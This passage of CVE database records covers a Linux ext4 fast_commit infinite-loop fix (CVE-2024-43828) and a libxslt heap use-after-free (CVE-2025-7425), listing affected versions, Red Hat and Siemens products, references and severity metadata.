          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/extents_status.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5ed0496e383cb6de120e56991385dce70bbb87c1",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            },
            {
              "lessThan": "0619f7750f2b178a1309808832ab20d85e0ad121",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            },
            {
              "lessThan": "181e63cd595c688194e07332f9944b3a63193de2",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            },
            {
              "lessThan": "c6e67df64783e99a657ef2b8c834ba2bf54c539c",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            },
            {
              "lessThan": "81f819c537d29932e4b9267f02411cbc8b355178",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            },
            {
              "lessThan": "907c3fe532253a6ef4eb9c4d67efb71fab58c706",
              "status": "affected",
              "version": "8016e29f4362e285f0f7e38fadc61a5b7bdfdfa2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/extents_status.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.10"
            },
            {
              "lessThan": "5.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix infinite loop when replaying fast_commit\n\nWhen doing fast_commit replay an infinite loop may occur due to an\nuninitialized extent_status struct.  ext4_ext_determine_insert_hole() does\nnot detect the replay and calls ext4_es_find_extent_range(), which will\nreturn immediately without initializing the \u0027es\u0027 variable.\n\nBecause \u0027es\u0027 contains garbage, an integer overflow may happen causing an\ninfinite loop in this function, easily reproducible using fstest generic/039.\n\nThis commit fixes this issue by unconditionally initializing the structure\nin function ext4_es_find_extent_range().\n\nThanks to Zhang Yi, for figuring out the real problem!"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:30:35.788Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5ed0496e383cb6de120e56991385dce70bbb87c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/0619f7750f2b178a1309808832ab20d85e0ad121"
        },
        {
          "url": "https://git.kernel.org/stable/c/181e63cd595c688194e07332f9944b3a63193de2"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6e67df64783e99a657ef2b8c834ba2bf54c539c"
        },
        {
          "url": "https://git.kernel.org/stable/c/81f819c537d29932e4b9267f02411cbc8b355178"
        },
        {
          "url": "https://git.kernel.org/stable/c/907c3fe532253a6ef4eb9c4d67efb71fab58c706"
        }
      ],
      "title": "ext4: fix infinite loop when replaying fast_commit",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43828",
    "datePublished": "2024-08-17T09:21:47.429Z",
    "dateReserved": "2024-08-17T09:11:59.273Z",
    "dateUpdated": "2026-05-12T11:56:55.123Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-7425 (GCVE-0-2025-7425)

Vulnerability from cvelistv5 – Published: 2025-07-10 13:53 – Updated: 2026-05-12 12:02

Title

Libxslt: libxml2: heap use-after-free in libxslt caused by atype corruption in xmlattrptr

Summary

A flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

redhat

References

32 references

URL	Tags
https://access.redhat.com/errata/RHBA-2025:12345	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:12447	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:12450	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13267	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13308	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13309	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13310	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13311	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13312	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13313	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13314	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13335	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13464	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:13622	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14059	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14396	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14818	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14819	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14853	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:14858	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:15308	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:15672	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:15827	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:15828	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:18219	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:21885	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2025:21913	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2026:0934	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2026:11503	vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/security/cve/CVE-2025-7425	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2379274	issue-trackingx_refsource_REDHAT
https://gitlab.gnome.org/GNOME/libxslt/-/issues/140

Impacted products

58 products

Vendor	Product	Version
GNOME	libxml2	Affected: 0 , < 2.15.2 (semver)
Red Hat	Red Hat Enterprise Linux 10	Unaffected: 0:2.12.5-8.el10_0 , < * (rpm) cpe:/o:redhat:enterprise_linux:10.0
Red Hat	Red Hat Enterprise Linux 10	Unaffected: 0:1.1.39-8.el10_0 , < * (rpm) cpe:/o:redhat:enterprise_linux:10.0
Red Hat	Red Hat Enterprise Linux 7 Extended Lifecycle Support	Unaffected: 0:2.9.1-6.el7_9.12 , < * (rpm) cpe:/o:redhat:rhel_els:7
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:2.9.7-21.el8_10.2 , < * (rpm) cpe:/a:redhat:enterprise_linux:8::appstream cpe:/o:redhat:enterprise_linux:8::baseos
Red Hat	Red Hat Enterprise Linux 8	Unaffected: 0:2.9.7-21.el8_10.2 , < * (rpm) cpe:/a:redhat:enterprise_linux:8::appstream cpe:/o:redhat:enterprise_linux:8::baseos
Red Hat	Red Hat Enterprise Linux 8.2 Advanced Update Support	Unaffected: 0:2.9.7-9.el8_2.4 , < * (rpm) cpe:/a:redhat:rhel_aus:8.2::appstream cpe:/o:redhat:rhel_aus:8.2::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support	Unaffected: 0:2.9.7-9.el8_4.7 , < * (rpm) cpe:/a:redhat:rhel_aus:8.4::appstream cpe:/a:redhat:rhel_eus_long_life:8.4::appstream cpe:/o:redhat:rhel_aus:8.4::baseos cpe:/o:redhat:rhel_eus_long_life:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On	Unaffected: 0:2.9.7-9.el8_4.7 , < * (rpm) cpe:/a:redhat:rhel_aus:8.4::appstream cpe:/a:redhat:rhel_eus_long_life:8.4::appstream cpe:/o:redhat:rhel_aus:8.4::baseos cpe:/o:redhat:rhel_eus_long_life:8.4::baseos
Red Hat	Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support	Unaffected: 0:2.9.7-13.el8_6.11 , < * (rpm) cpe:/a:redhat:rhel_aus:8.6::appstream cpe:/a:redhat:rhel_e4s:8.6::appstream cpe:/a:redhat:rhel_tus:8.6::appstream cpe:/o:redhat:rhel_aus:8.6::baseos cpe:/o:redhat:rhel_e4s:8.6::baseos cpe:/o:redhat:rhel_tus:8.6::baseos
Red Hat	Red Hat Enterprise Linux 8.6 Telecommunications Update Service	Unaffected: 0:2.9.7-13.el8_6.11 , < * (rpm) cpe:/a:redhat:rhel_aus:8.6::appstream cpe:/a:redhat:rhel_e4s:8.6::appstream cpe:/a:redhat:rhel_tus:8.6::appstream cpe:/o:redhat:rhel_aus:8.6::baseos cpe:/o:redhat:rhel_e4s:8.6::baseos cpe:/o:redhat:rhel_tus:8.6::baseos
Red Hat	Red Hat Enterprise Linux 8.6 Update Services for SAP Solutions	Unaffected: 0:2.9.7-13.el8_6.11 , < * (rpm) cpe:/a:redhat:rhel_aus:8.6::appstream cpe:/a:redhat:rhel_e4s:8.6::appstream cpe:/a:redhat:rhel_tus:8.6::appstream cpe:/o:redhat:rhel_aus:8.6::baseos cpe:/o:redhat:rhel_e4s:8.6::baseos cpe:/o:redhat:rhel_tus:8.6::baseos
Red Hat	Red Hat Enterprise Linux 8.8 Telecommunications Update Service	Unaffected: 0:2.9.7-16.el8_8.10 , < * (rpm) cpe:/a:redhat:rhel_e4s:8.8::appstream cpe:/a:redhat:rhel_tus:8.8::appstream cpe:/o:redhat:rhel_e4s:8.8::baseos cpe:/o:redhat:rhel_tus:8.8::baseos
Red Hat	Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions	Unaffected: 0:2.9.7-16.el8_8.10 , < * (rpm) cpe:/a:redhat:rhel_e4s:8.8::appstream cpe:/a:redhat:rhel_tus:8.8::appstream cpe:/o:redhat:rhel_e4s:8.8::baseos cpe:/o:redhat:rhel_tus:8.8::baseos
Red Hat	Red Hat Enterprise Linux 9	Unaffected: 0:2.9.13-11.el9_6 , < * (rpm) cpe:/a:redhat:enterprise_linux:9::appstream cpe:/o:redhat:enterprise_linux:9::baseos
Red Hat	Red Hat Enterprise Linux 9	Unaffected: 0:2.9.13-11.el9_6 , < * (rpm) cpe:/a:redhat:enterprise_linux:9::appstream cpe:/o:redhat:enterprise_linux:9::baseos
Red Hat	Red Hat Enterprise Linux 9.0 Update Services for SAP Solutions	Unaffected: 0:2.9.13-1.el9_0.6 , < * (rpm) cpe:/a:redhat:rhel_e4s:9.0::appstream cpe:/o:redhat:rhel_e4s:9.0::baseos
Red Hat	Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions	Unaffected: 0:2.9.13-3.el9_2.8 , < * (rpm) cpe:/a:redhat:rhel_e4s:9.2::appstream cpe:/o:redhat:rhel_e4s:9.2::baseos
Red Hat	Red Hat Enterprise Linux 9.4 Extended Update Support	Unaffected: 0:2.9.13-11.el9_4 , < * (rpm) cpe:/a:redhat:rhel_eus:9.4::appstream cpe:/o:redhat:rhel_eus:9.4::baseos
Red Hat	Red Hat OpenShift Container Platform 4.12	Unaffected: 412.86.202509030110-0 , < * (rpm) cpe:/a:redhat:openshift:4.12::el8
Red Hat	Red Hat OpenShift Container Platform 4.13	Unaffected: 413.92.202509030117-0 , < * (rpm) cpe:/a:redhat:openshift:4.13::el9
Red Hat	Red Hat OpenShift Container Platform 4.14	Unaffected: 414.92.202508270040-0 , < * (rpm) cpe:/a:redhat:openshift:4.14::el9
Red Hat	Red Hat OpenShift Container Platform 4.15	Unaffected: 415.92.202508192014-0 , < * (rpm) cpe:/a:redhat:openshift:4.15::el9
Red Hat	Red Hat OpenShift Container Platform 4.16	Unaffected: 416.94.202508261955-0 , < * (rpm) cpe:/a:redhat:openshift:4.16::el9
Red Hat	Red Hat OpenShift Container Platform 4.17	Unaffected: 417.94.202508141510-0 , < * (rpm) cpe:/a:redhat:openshift:4.17::el9
Red Hat	Red Hat OpenShift Container Platform 4.18	Unaffected: 418.94.202508261658-0 , < * (rpm) cpe:/a:redhat:openshift:4.18::el9
Red Hat	Red Hat OpenShift Container Platform 4.19	Unaffected: 4.19.9.6.202508271124-0 , < * (rpm) cpe:/a:redhat:openshift:4.19::el9
Red Hat	Red Hat Web Terminal 1.11 on RHEL 9	Unaffected: 1.11-19 , < * (rpm) cpe:/a:redhat:webterminal:1.11::el9
Red Hat	Red Hat Web Terminal 1.11 on RHEL 9	Unaffected: 1.11-8 , < * (rpm) cpe:/a:redhat:webterminal:1.11::el9
Red Hat	Red Hat Web Terminal 1.12 on RHEL 9	Unaffected: 1.12-4 , < * (rpm) cpe:/a:redhat:webterminal:1.12::el9
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-11 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-11 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-11 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-10 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-10 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-4 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-9 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-18 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-11 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	RHOSS-1.36-RHEL-8	Unaffected: 1.36.0-7 , < * (rpm) cpe:/a:redhat:openshift_serverless:1.36::el8
Red Hat	cert-manager operator for Red Hat OpenShift 1.16	Unaffected: v1.16.5-1760515757 , < * (rpm) cpe:/a:redhat:cert_manager:1.16::el9
Red Hat	File Integrity Operator 1	Unaffected: v1.3 , < * (rpm) cpe:/a:redhat:openshift_file_integrity_operator:1::el9
Red Hat	OpenShift Compliance Operator 1	Unaffected: 1.8.0 , < * (rpm) cpe:/a:redhat:openshift_compliance_operator:1::el9
Red Hat	OpenShift Compliance Operator 1	Unaffected: 1.8.0 , < * (rpm) cpe:/a:redhat:openshift_compliance_operator:1::el9
Red Hat	OpenShift Compliance Operator 1	Unaffected: 1.8.0 , < * (rpm) cpe:/a:redhat:openshift_compliance_operator:1::el9
Red Hat	Red Hat Discovery 2	Unaffected: 2.0.1-1754478727 , < * (rpm) cpe:/a:redhat:discovery:2::el9
Red Hat	Red Hat Hardened Images	Unaffected: 2.15.3-0.1.hum1 , < * (rpm) cpe:/a:redhat:hummingbird:1
Red Hat	Red Hat Insights proxy 1.5	Unaffected: 1.5.5-1754504343 , < * (rpm) cpe:/a:redhat:insights_proxy:1.5::el9
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559657 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559845 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559691 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559660 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559663 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559657 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754569861 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559846 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat OpenShift distributed tracing 3.5.1	Unaffected: rhosdt-3.5-1754559651 , < * (rpm) cpe:/a:redhat:openshift_distributed_tracing:3.5::el8
Red Hat	Red Hat Enterprise Linux 6	cpe:/o:redhat:enterprise_linux:6

Date Public ?

2025-07-10 00:00

Credits

Red Hat would like to thank Sergei Glazunov (Google Project Zero) for reporting this issue.

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-7425",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-10T15:21:27.766014Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-10T15:21:30.858Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://gitlab.gnome.org/GNOME/libxslt/-/issues/140"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T21:14:55.508Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00035.html"
          },
          {
            "url": "http://seclists.org/fulldisclosure/2025/Aug/0"
          },
          {
            "url": "http://seclists.org/fulldisclosure/2025/Jul/37"
          },
          {
            "url": "http://seclists.org/fulldisclosure/2025/Jul/35"
          },
          {
            "url": "http://seclists.org/fulldisclosure/2025/Jul/32"
          },
          {
            "url": "http://seclists.org/fulldisclosure/2025/Jul/30"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2025/07/11/2"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX MX5000",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX MX5000RE",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1400",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1500",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1501",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1510",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1511",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1512",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1524",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX1536",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM ROX RX5000",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V2.17.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC CN 4100",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V5.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:33.327Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-577017.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://gitlab.gnome.org/GNOME/libxml2/",
          "defaultStatus": "unaffected",
          "packageName": "libxml2",
          "product": "libxml2",
          "vendor": "GNOME",
          "versions": [
            {
              "lessThan": "2.15.2",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10.0"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.12.5-8.el10_0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:enterprise_linux:10.0"
          ],
          "defaultStatus": "affected",
          "packageName": "libxslt",
          "product": "Red Hat Enterprise Linux 10",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:1.1.39-8.el10_0",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/o:redhat:rhel_els:7"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 7 Extended Lifecycle Support",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.1-6.el7_9.12",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:8::appstream",
            "cpe:/o:redhat:enterprise_linux:8::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-21.el8_10.2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:enterprise_linux:8::appstream",
            "cpe:/o:redhat:enterprise_linux:8::baseos"
          ],
          "defaultStatus": "affected",
          "packageName": "libxml2",
          "product": "Red Hat Enterprise Linux 8",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "0:2.9.7-21.el8_10.2",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
